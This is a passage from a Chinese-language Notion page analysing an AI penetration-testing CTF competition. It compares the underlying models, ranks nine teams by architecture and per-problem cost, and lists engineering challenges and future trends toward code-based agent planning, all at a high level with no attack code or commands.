4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">结论4: 底层模型能力决定上限</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81c9a9edde75fbc48bf6"><b>关键发现：</b></div><div class="notion-text notion-block-30a0f0c5b87c81c9993bca3aa0e6573a"><b>模型能力对比：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c815bbf65fa161f565e00"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/gen06_model_comparison-20260217113443-92p2qx8.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-815b-bf65-fa161f565e00" alt="生成图片 - LLM模型能力对比" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c813482c3d5ae82633603">生成图片 - LLM模型能力对比</div><table class="notion-simple-table notion-block-30a0f0c5b87c81349533db95533b0a46"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-30a0f0c5b87c814c9b82e243c85e10ea"><td class="" style="width:120px"><div class="notion-simple-table-cell">模型</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">优势</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">劣势</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">适用场景</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">战队使用</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c819b96b2f224604f2efe"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>DeepSeek</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">性价比高、速度快</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">复杂推理能力稍弱</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">常规任务、成本敏感</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">绿盟、yhy0</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81e084e4c78af91683fc"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Kimi</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">攻坚难题能力强、上下文长</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">成本较高</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">困难问题、长文本</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Antix</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81c2b2eff7d2fc779e0a"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Claude</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">代码生成优秀、推理强</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">成本高</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">代码规划、复杂任务</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">长亭外</div></td></tr></tbody></table><div class="notion-text notion-block-30a0f0c5b87c81abb031fb1fb2f3c848"><b>实践证明：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8118849be9b521d37612"><li>冠军长亭外使用Claude获得最佳效果</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81a29f71f62831bffd45"><li>Antix使用Kimi在攻坚难题上表现突出</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81adb18dd3b94bc1f32f"><li>绿盟、yhy0全用DeepSeek实现高性价比</li></ul><div class="notion-text notion-block-30a0f0c5b87c819b899afe42ad320a32"><b>结论：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c81548c68c932fdb312a3"><div>AI渗透的上限由底层模型能力决定
架构设计决定了能多大程度发挥模型能力
不同模型适合不同场景，需根据任务特点选择</div></blockquote><hr class="notion-hr notion-block-30a0f0c5b87c812787bbcdf498fb6918"/><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8176873ce2403cfaf943" data-id="30a0f0c5b87c8176873ce2403cfaf943"><span><div id="30a0f0c5b87c8176873ce2403cfaf943" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8176873ce2403cfaf943" title="结论3: CTF场景 vs 实战场景"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">结论3: CTF场景 vs 实战场景</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c818ea46ffe6048e086ae" data-id="30a0f0c5b87c818ea46ffe6048e086ae"><span><div id="30a0f0c5b87c818ea46ffe6048e086ae" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c818ea46ffe6048e086ae" title="对于单点CTF比赛、明确渗透目标："><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">对于单点CTF比赛、明确渗透目标：</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81ff80abdc7f56e8c5ef"><b>现状：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c815b835be48c7f6c0b90"><div>✅ <b>最前沿的AI和Agent框架已有能力解决大部分问题</b>
✅ <b>未解决的可通过增加能力覆盖度、知识覆盖度解决</b></div></blockquote><div class="notion-text notion-block-30a0f0c5b87c8149a24eeaa94a15bdd0"><b>证据：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d39c00f07b00a668b6"><li>长亭外、西交、BinX等都能解决70+道题</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81bab2c2d3e996006f39"><li>在已知漏洞类型上成功率极高</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81698936f90b1e08bb88"><li>成本可控制在20元/题以内</li></ul><hr class="notion-hr notion-block-30a0f0c5b87c81fc95bedaa430109144"/><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c813985a6cd8fc82c60ce" data-id="30a0f0c5b87c813985a6cd8fc82c60ce"><span><div id="30a0f0c5b87c813985a6cd8fc82c60ce" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c813985a6cd8fc82c60ce" title="但对于实际AI渗透赋能："><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">但对于实际AI渗透赋能：</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8167a854cb24fa525062"><b>挑战：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c81ac86e6c97794d02eb2"><div>⚠️ <b>仍需攻破不少难关</b>
⚠️ <b>工程化是未来主要要攻克的目标</b></div></blockquote><div class="notion-text notion-block-30a0f0c5b87c818784a1cca93d307354"><b>工程化挑战清单：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c818d85cdff1c9e1d6d82"><li>任务调度</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81929578e67c78c635ce"><li>会话隔离</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b1a729d86a3d91dfb3"><li>并发控制</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c814884bdf3c23456e822"><li>漏报/误报处理</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b4baf4f646687889ce"><li>漏测检测</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c814f90d1feb6962df004"><li>召回率优化</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8188b600fe24d4e4522e"><li>SaaS产品化</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8133b31ee40625dec409"><li>多租户管理</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81498ddac4ae15a2a66a"><li>权限控制</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b9837bc730581bbacc"><li>审计日志</li></ul><hr class="notion-hr notion-block-30a0f0c5b87c818f9de5e795053c8547"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c8151941bf04a18e1c392" data-id="30a0f0c5b87c8151941bf04a18e1c392"><span><div id="30a0f0c5b87c8151941bf04a18e1c392" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8151941bf04a18e1c392" title="🏆 二、战队排名与分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">🏆 二、战队排名与分析</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81f5b544cc0985aef6f2" data-id="30a0f0c5b87c81f5b544cc0985aef6f2"><span><div id="30a0f0c5b87c81f5b544cc0985aef6f2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81f5b544cc0985aef6f2" title="完整排名表"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">完整排名表</span></span></h4><table class="notion-simple-table notion-block-30a0f0c5b87c818fa536fe5fc4765053"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-30a0f0c5b87c81e880fce1170a069399"><td class="" style="width:120px"><div class="notion-simple-table-cell">排名</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">战队</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">核心方案</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">平均成本/题</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">总投入估算</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">关键特点</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8134b4c9c12087a07293"><td class="" style="width:120px"><div class="notion-simple-table-cell">1</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>长亭外</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">DSPy/MPI</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">~30元</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">~30,000元</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">代码规划，精确控制</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81c58ecafa0fd7a2064a"><td class="" style="width:120px"><div class="notion-simple-table-cell">2</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>西安交大</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">分布式集群 + XML</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">水平扩展，标准化</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8124a541db8d134d150e"><td class="" style="width:120px"><div class="notion-simple-table-cell">3</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>广州大学(BinX)</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">沙箱清洗 + 元工具</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">三人小队，意图图谱</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81339cc2e6f8d1c236b1"><td class="" style="width:120px"><div class="notion-simple-table-cell">4</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Antix(成信大)</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Meta-Tooling</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">19.2元</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">极简架构，代码即行动</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8169a212e2b19370d781"><td class="" style="width:120px"><div class="notion-simple-table-cell">5</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>(第五名)</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">信息缺失</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">信息缺失</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c817ba963d8478cd2740b"><td class="" style="width:120px"><div class="notion-simple-table-cell">6</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>NeuroSploit(清华等)</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">多Agent + 知识军火库</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">自进化，专家级深度</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81a4ac71cc50a23918ee"><td class="" style="width:120px"><div class="notion-simple-table-cell">7</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>绿盟</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">蜂群并行</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">13元</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">轻量级，共享笔记</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c817ca2d9cd6ce263949c"><td class="" style="width:120px"><div class="notion-simple-table-cell">8</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>香港城市大学</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">多级队列 + 赛马</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Hint注入，并行</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c814a838ddbda0125564f"><td class="" style="width:120px"><div class="notion-simple-table-cell">9</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>yhy0</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">顾问介入</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">13.7元</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">~1,000元</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">兜底策略，按需知识</div></td></tr></tbody></table><blockquote class="notion-quote notion-block-30a0f0c5b87c81d49590fe97b9b83507"><div><b>成本数据说明：</b> N/A表示数据未公开或无法计算。西安交大的”约1000+元/天”为训练阶段成本，不代表单题成本。</div></blockquote><hr class="notion-hr notion-block-30a0f0c5b87c815c8c75eebc437d6b4a"/><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81da9e52c47d361c5230" data-id="30a0f0c5b87c81da9e52c47d361c5230"><span><div id="30a0f0c5b87c81da9e52c47d361c5230" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81da9e52c47d361c5230" title="排名规律分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">排名规律分析</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81a5bf0ed9eb961ded0d" data-id="30a0f0c5b87c81a5bf0ed9eb961ded0d"><span><div id="30a0f0c5b87c81a5bf0ed9eb961ded0d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81a5bf0ed9eb961ded0d" title="冠军亚军的共性"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">冠军亚军的共性</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8196b0a5e7792df62c83"><b>长亭外 + 西安交大：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8179b5a8d8c54e59bc57"><li>✅ 都强调”代码/协议”优于Prompt</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81a0b2adee3e334f7708"><li>✅ 都有完整的工程化框架</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81bea3f7d3cad76f7253"><li>✅ 都是博士团队，技术深厚</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c814aa2caf12aed95beab"><li>✅ 都有明确的标准化流程</li></ul><div class="notion-text notion-block-30a0f0c5b87c8159b122da56e7ce1bce"><b>结论：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c81feb4f3ee8e23cbe7c6"><div><b>代码规划 + 工程化 = 冠军相</b></div></blockquote><hr class="notion-hr notion-block-30a0f0c5b87c816f887ae0e799ec5b8b"/><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81ef87a1f2c990b48fac" data-id="30a0f0c5b87c81ef87a1f2c990b48fac"><span><div id="30a0f0c5b87c81ef87a1f2c990b48fac" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81ef87a1f2c990b48fac" title="前四名的共性"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">前四名的共性</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81579f64d724ffd7a1bf"><b>长亭外、西交、BinX、Antix：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81c9b079fc29a489ce37"><li>✅ 都在用”代码”替代”Prompt”</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8185bab6ce041ffd0bc6"><li>✅ 都有明确的技术路线</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8105be1ddbba46583a6f"><li>✅ 都解决了核心痛点</li></ul><div class="notion-text notion-block-30a0f0c5b87c81b7a274fccc52bd6896"><b>结论：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c81a98abbcf3af34a76f9"><div><b>代码化是主流趋势</b></div></blockquote><hr class="notion-hr notion-block-30a0f0c5b87c816da0d7cc0480d2c6a6"/><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81909b05d829daf8dec3" data-id="30a0f0c5b87c81909b05d829daf8dec3"><span><div id="30a0f0c5b87c81909b05d829daf8dec3" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81909b05d829daf8dec3" title="成本与排名的关系"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">成本与排名的关系</span></span></h4><table class="notion-simple-table notion-block-30a0f0c5b87c815fb435fd6af222089b"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-30a0f0c5b87c81ef8fecd866381c4abc"><td class="" style="width:120px"><div class="notion-simple-table-cell">战队</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">成本(元/题)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">排名</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c814f936cde168dd43c22"><td class="" style="width:120px"><div class="notion-simple-table-cell">绿盟</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">13.0</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">7</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81ee8b04cb9dfd42b038"><td class="" style="width:120px"><div class="notion-simple-table-cell">yhy0</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">13.7</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">9</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8138a4d8f5c9cef5465f"><td class="" style="width:120px"><div class="notion-simple-table-cell">Antix</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">19.2</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">4</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81aca534f9f74f623539"><td class="" style="width:120px"><div class="notion-simple-table-cell">长亭外</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">~30</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">1 🏆</div></td></tr></tbody></table><div class="notion-text notion-block-30a0f0c5b87c8176910edc9ccbd9d022"><b>洞察：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81a78f2cf9782bd5002b"><li>最低成本 ≠ 最高排名</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c811abfebc636ecc665cd"><li>冠军愿意为效果投入</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c813d8ce6d57e8cd00cc1"><li>性价比和效果需要平衡</li></ul><hr class="notion-hr notion-block-30a0f0c5b87c8169bb02c7430dbac2a9"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c8165bf72c1069f1b3e56" data-id="30a0f0c5b87c8165bf72c1069f1b3e56"><span><div id="30a0f0c5b87c8165bf72c1069f1b3e56" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8165bf72c1069f1b3e56" title="🚀 三、未来趋势与建议"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">🚀 三、未来趋势与建议</span></span></h3><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81308ce2e82ceb6fff3f"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/cn09_future_roadmap-20260217113443-q9zqvpu.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-8130-8ce2-e82ceb6fff3f" alt="生成图片 - AI渗透测试技术演进路线图（中文）" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81c0bdc9d5f329378adf">生成图片 - AI渗透测试技术演进路线图（中文）</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8174ac0eeb546215f2e4" data-id="30a0f0c5b87c8174ac0eeb546215f2e4"><span><div id="30a0f0c5b87c8174ac0eeb546215f2e4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8174ac0eeb546215f2e4" title="趋势1: 从Prompt到Code（已验证）✅"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">趋势1: 从Prompt到Code（已验证）✅</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8146b97fe7a9b0ec2839"><b>结论：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c819d9733e43f2401fd33"><div>✅ <b>代码规划是明确趋势，不是实验</b></div></blockquote><div class="notion-text notion-block-30a0f0c5b87c815fb304e257ef73c3dd"><b>行动建议：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81ccbca5f3cef7457de8" style="list-style-type:decimal"><li>学习DSPy框架</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c814dafc8c0189e9af668" style="list-style-type:decimal"><li>研究MPI模式</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c811a9293ee981cc5afdb" style="list-style-type:decimal"><li>实践代码生成</li></ol><hr class="notion-hr notion-block-30a0f0c5b87c8191aab8ec74550bd5ad"/><h4 class="notion-h notion-h3 notion-h-indent-2 